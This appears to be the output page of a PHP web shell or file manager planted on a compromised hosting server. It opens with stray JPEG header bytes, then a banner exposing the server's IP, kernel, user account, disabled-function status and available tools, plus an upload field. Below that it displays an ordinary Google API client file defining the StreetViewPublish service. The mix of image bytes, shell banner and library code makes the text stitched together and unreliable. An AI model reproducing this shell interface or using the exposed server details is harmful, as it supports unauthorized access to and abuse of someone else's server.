����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././public_html/vendor/google/apiclient-services/src/ |
Upload File : |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
namespace Google\Service;
use Google\Client;
/**
* Service definition for StreetViewPublish (v1).
*
* <p>
* Publishes 360 photos to Google Maps, along with position, orientation, and
* connectivity metadata. Apps can offer an interface for positioning,
* connecting, and uploading user-generated Street View images.</p>
*
* <p>
* For more information about this service, see the API
* <a href="https://developers.google.com/streetview/publish/" target="_blank">Documentation</a>
* </p>
*
* @author Google, Inc.
*/
class StreetViewPublish extends \Google\Service
{
/** Publish and manage your 360 photos on Google Street View. */
const STREETVIEWPUBLISH =
"https://www.googleapis.com/auth/streetviewpublish";
public $photo;
public $photos;
/**
* Constructs the internal representation of the StreetViewPublish service.
*
* @param Client|array $clientOrConfig The client used to deliver requests, or a
* config array to pass to a new Client instance.
* @param string $rootUrl The root URL used for requests to the service.
*/
public function __construct($clientOrConfig = [], $rootUrl = null)
{
parent::__construct($clientOrConfig);
$this->rootUrl = $rootUrl ?: 'https://streetviewpublish.googleapis.com/';
$this->servicePath = '';
$this->batchPath = 'batch';
$this->version = 'v1';
$this->serviceName = 'streetviewpublish';
$this->photo = new StreetViewPublish\Resource\Photo(
$this,
$this->serviceName,
'photo',
[
'methods' => [
'create' => [
'path' => 'v1/photo',
'httpMethod' => 'POST',
'parameters' => [],
],'delete' => [
'path' => 'v1/photo/{photoId}',
'httpMethod' => 'DELETE',
'parameters' => [
'photoId' => [
'location' => 'path',
'type' => 'string',
'required' => true,
],
],
],'get' => [
'path' => 'v1/photo/{photoId}',
'httpMethod' => 'GET',
'parameters' => [
'photoId' => [
'location' => 'path',
'type' => 'string',
'required' => true,
],
'languageCode' => [
'location' => 'query',
'type' => 'string',
],
'view' => [
'location' => 'query',
'type' => 'string',
],
],
],'startUpload' => [
'path' => 'v1/photo:startUpload',
'httpMethod' => 'POST',
'parameters' => [],
],'update' => [
'path' => 'v1/photo/{id}',
'httpMethod' => 'PUT',
'parameters' => [
'id' => [
'location' => 'path',
'type' => 'string',
'required' => true,
],
'updateMask' => [
'location' => 'query',
'type' => 'string',
],
],
],
]
]
);
$this->photos = new StreetViewPublish\Resource\Photos(
$this,
$this->serviceName,
'photos',
[
'methods' => [
'batchDelete' => [
'path' => 'v1/photos:batchDelete',
'httpMethod' => 'POST',
'parameters' => [],
],'batchGet' => [
'path' => 'v1/photos:batchGet',
'httpMethod' => 'GET',
'parameters' => [
'languageCode' => [
'location' => 'query',
'type' => 'string',
],
'photoIds' => [
'location' => 'query',
'type' => 'string',
'repeated' => true,
],
'view' => [
'location' => 'query',
'type' => 'string',
],
],
],'batchUpdate' => [
'path' => 'v1/photos:batchUpdate',
'httpMethod' => 'POST',
'parameters' => [],
],'list' => [
'path' => 'v1/photos',
'httpMethod' => 'GET',
'parameters' => [
'filter' => [
'location' => 'query',
'type' => 'string',
],
'languageCode' => [
'location' => 'query',
'type' => 'string',
],
'pageSize' => [
'location' => 'query',
'type' => 'integer',
],
'pageToken' => [
'location' => 'query',
'type' => 'string',
],
'view' => [
'location' => 'query',
'type' => 'string',
],
],
],
]
]
);
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(StreetViewPublish::class, 'Google_Service_StreetViewPublish');